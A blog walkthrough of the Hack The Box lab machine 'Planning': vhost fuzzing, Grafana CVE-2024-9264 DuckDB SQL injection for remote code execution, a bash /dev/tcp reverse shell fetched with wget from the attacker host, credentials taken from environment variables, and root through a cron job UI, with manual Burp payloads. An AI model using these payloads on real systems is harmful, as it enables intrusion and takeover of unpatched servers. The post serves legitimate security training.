In Planning, we found Grafana via vhost fuzzing, exploited SQLi for RCE, found credentials for SSH, and escalated to root through a cronjob UI.

Introduction

In this post, I will demonstrate the exploitation of an easy machine called "Planning" on hack the box. Overall, it was a relatively easy box once the correct wordlist was used to enumerate vhosts. In summary, I enjoyed this box and it was a good learning experience. I pwnd this box on July 1 2025.

Step 1: Running an Nmap scan on the target

As always, we start with an Nmap scan on the target. I like to use the options -sC and -sV to run some Nmap scripts and do service detection, respectively. This allows us to capture a lot of information as a starting point.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p- 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 04:46 EDT
Nmap scan report for 10.10.11.68
Host is up (0.0097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds

On this box, we have an ssh service running as well as an nginx webservice. We are also being redirected to http://planning.htb. Therefore, we need to add this to our hosts file (sudo vim /etc/hosts).

After adding the hostname to the hosts file. I like to run the nmap scan again to see if we get more data:

└─$ nmap -sV -sC -p- planning.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 04:48 EDT
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds

Doing this additional scan, I found out that it runs an Edukate online education website.

Step 2: Exploring and enumerating the website

Upon visiting the website, we are greeted with the Edukate welcome page:

Edukate Welcome Page

Exploration of the webpage did not yield anything that could be used as an attack vector at first sight. Here, I struggled a bit. I did a ffuf scan to enumerate potential vhosts. However, the wordlist I first used was insufficient and did not return anything. Being a bit desperate, I tried a few other wordlists and finally got a hit:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://planning.htb/ -H "Host: FUZZ.planning.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt:FUZZ -fs 178          

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 12ms]
:: Progress: [653920/653920] :: Job [1/1] :: 4081 req/sec :: Duration: [0:02:43] :: Errors: 0 ::

After adding this to our hosts file (sudo vim /etc/hosts), surfing to the domain yields the following login page:

grafana login page

Note, the version is listed at the bottom: v11.0.0. The description of this box grants us the login details which we can use to login to the grafana webinterface:

grafana webinterface

Step 3: Gaining access

First thing I did was checking whether there is a known vulnerability for Grafana v11.0.0. It seems that we are in luck! There is a known RCE exploit for this version of Grafana: Grafana Post-Auth DuckDB SQL Injection. Initial testing of the exploit script revealed that it is executed successfully:

┌──(venv-ten)(kali㉿kali)-[/opt/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb                                                   
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)

Next, I created a simple bash reverse shell script:

#!/bin/bash
bash -i >& /dev/tcp/<IP-Address>/<Port> 0>&1

I upload this .sh file using wget after initializing a Python server on my kali attacking machine:

python3 -m http.server <port>
──(venv-ten)(kali㉿kali)-[/opt/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "wget 10.10.14.47:7000/shell.sh" http://grafana.planning.htb                                  
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget 10.10.14.47:7000/shell.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('wget 10.10.14.47:7000/shell.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-08-17 10:22:51--  http://10.10.14.47:7000/shell.sh
Connecting to 10.10.14.47:7000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 54 [text/x-sh]
Saving to: 'shell.sh'

     0K                                                       100% 3.46M=0s

2025-08-17 10:22:51 (3.46 MB/s) - 'shell.sh' saved [54/54]

After initializing our netcat listener, we gain a reverse shell by executing the following command:

┌──(venv-ten)(kali㉿kali)-[/opt/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "bash shell.sh" http://grafana.planning.htb                                  
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: bash shell.sh

The following reverse shell spawned:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.11.68] 51570
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# 

Step 4: Lateral privilege escalation to Enzo

Checking the environment variable revealed some credentials:

env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/tmp
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/home/grafana

Using these credentials, we can successfully login using ssh:

┌──(kali㉿kali)-[~]
└─$ ssh enzo@10.10.11.68
enzo@10.10.11.68's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Aug 17 10:44:08 AM UTC 2025

  System load:  0.0               Processes:             293
  Usage of /:   68.0% of 6.30GB   Users logged in:       0
  Memory usage: 55%               IPv4 address for eth0: 10.10.11.68
  Swap usage:   0%

  => There are 47 zombie processes.


Expanded Security Maintenance for Applications is not enabled.

102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Aug 17 10:44:09 2025 from 10.10.14.47

Here, we obtain the user flag:

enzo@planning:~$ ls
user.txt

Step 5: Privilege escalation to root

Exploration of the /opt directory revealed a crontab.db file. Catting this file exposed a password:

enzo@planning:/opt/crontabs$ cat crontab.db 
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Next, I checked the directory for the backup file but unfortunately, it was not there:

enzo@planning:~$ cd /var/backups/
enzo@planning:/var/backups$ ls
alternatives.tar.0     apt.extended_states.0     dpkg.arch.1.gz     dpkg.diversions.1.gz  dpkg.statoverride.1.gz  dpkg.status.1.gz
alternatives.tar.1.gz  apt.extended_states.1.gz  dpkg.arch.2.gz     dpkg.diversions.2.gz  dpkg.statoverride.2.gz  dpkg.status.2.gz
alternatives.tar.2.gz  apt.extended_states.2.gz  dpkg.arch.3.gz     dpkg.diversions.3.gz  dpkg.statoverride.3.gz  dpkg.status.3.gz             
alternatives.tar.3.gz  apt.extended_states.3.gz  dpkg.arch.4.gz     dpkg.diversions.4.gz  dpkg.statoverride.4.gz  dpkg.status.4.gz             
alternatives.tar.4.gz  apt.extended_states.4.gz  dpkg.arch.5.gz     dpkg.diversions.5.gz  dpkg.statoverride.5.gz  dpkg.status.5.gz             
alternatives.tar.5.gz  dpkg.arch.0               dpkg.diversions.0  dpkg.statoverride.0   dpkg.status.0

Checking TCP and UDP sockets revealed some interesting entries:

enzo@planning:/opt/crontabs$ ss -tulnp
Netid              State                Recv-Q               Send-Q                             Local Address:Port                              Peer Address:Port              Process              
udp                UNCONN               0                    0                                     127.0.0.54:53                                     0.0.0.0:*                                      
udp                UNCONN               0                    0                                  127.0.0.53%lo:53                                     0.0.0.0:*                                      
tcp                LISTEN               0                    151                                    127.0.0.1:3306                                   0.0.0.0:*                                      
tcp                LISTEN               0                    4096                               127.0.0.53%lo:53                                     0.0.0.0:*                                      
tcp                LISTEN               0                    70                                     127.0.0.1:33060                                  0.0.0.0:*                                      
tcp                LISTEN               0                    4096                                   127.0.0.1:41495                                  0.0.0.0:*                                      
tcp                LISTEN               0                    4096                                  127.0.0.54:53                                     0.0.0.0:*                                      
tcp                LISTEN               0                    511                                      0.0.0.0:80                                     0.0.0.0:*                                      
tcp                LISTEN               0                    4096                                   127.0.0.1:3000                                   0.0.0.0:*                                      
tcp                LISTEN               0                    511                                    127.0.0.1:8000                                   0.0.0.0:*                                      
tcp                LISTEN               0                    4096                                           *:22                                           *:*  

Next, using the following command, I forwarded the internal server on port 8000 to my local machine over ssh:

──(kali㉿kali)-[~]
└─$ ssh -L 1234:127.0.0.1:8000 enzo@10.10.11.68
enzo@10.10.11.68's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Aug 17 11:14:13 AM UTC 2025

  System load:  0.0               Processes:             303
  Usage of /:   68.4% of 6.30GB   Users logged in:       1
  Memory usage: 52%               IPv4 address for eth0: 10.10.11.68
  Swap usage:   3%

  => There are 47 zombie processes.


Expanded Security Maintenance for Applications is not enabled.

102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Aug 17 11:14:14 2025 from 10.10.14.47
enzo@planning:~$ 

Doing this, we can access the server by surfing to localhost:1234. There, we are greeted with a login page:

Internal webserver login

After trying some password and username combinations, It seems we can login as root using the password we found in the crontab.db file: P4ssw0rdS0pRi0T3c.

Cronjob page

Using this page, we can run scheduled commands. Therefore, creating a reverse shell cronjob should grant us root access to the box as these cronjobs are executed as root. Let's give it a try! First, start a netcat listener:

nc -lnvp <port>

Next, create a reverse shell payload using the cron UI:

Getting root cronjob

After running our cronjob, we are granted a root shell!

└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.11.68] 46322
bash: cannot set terminal process group (1438): Inappropriate ioctl for device
bash: no job control in this shell
root@planning:/# ls /root
$ls /root
root.txt
scripts

Congratulations, you have successfully rooted this box!

Extra: Manual exploitation

As already stated multiple times on this blog, I'm not a fan of blindly running exploit scripts. I'm convinced it is more educational to do it manually and thus craft your own payloads even if they are based on the exploit script. Therefore, I have also exploited this box manually through Burpsuite.

The first step is to navigate to the Grafana admin panel and go to "Dashboards". From there, create a new visualization and intercept with Burpsuite:

Grafana dashboard creation

Clicking the add visualization button should add the following request in Burpsuite:

POST /api/ds/query?ds_type=datasource&requestId=Q103 HTTP/1.1

Send it to the repeater tab and modify the JSON in the body as follows:

{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}

Using the expression parameter, we can now execute DuckDB SQL-queries. Apparently, DuckDB has a community extension called "shellfs", which allows to execute system commands: DuckDB shellfs extension. On the github page, we find the following: "By appending a pipe character | to a filename, DuckDB will treat it as a series of commands to execute and capture the output". Thus, appending a pipe results in a command being executed. This can then be used to upload a reverse shell as follows:

"SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv('wget <IP-Adress><port>/shell.sh -O /tmp/shell.sh |')"

Don't forget to start a Python server in the directory that contains the reverse shell payload.

python3 -m https.server <port>

In Burpsuite, the payload looks like this:

Burpsuite uploading shell

Once uploaded, we need to execute the shell. This can be done with the following payload:

"SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv('bash /tmp/shell.sh |')"

In burpsuite:

Burpsuite executing reverse shell

Don't forget to start the netcat listener before execution:

nc- lnvp <port>

Congratulations, you should now have a shell through manual exploitation:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.81] from (UNKNOWN) [10.10.11.68] 36038
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#

Final thoughts

Overall, This was a nice and easy box. Nevertheless, It was good to further sharpen my skills and grow more comfortable with the CTF landscape. Additionally, the manual exploitation was a bit harder and therefore it was a good challenge.

Go to the Home Page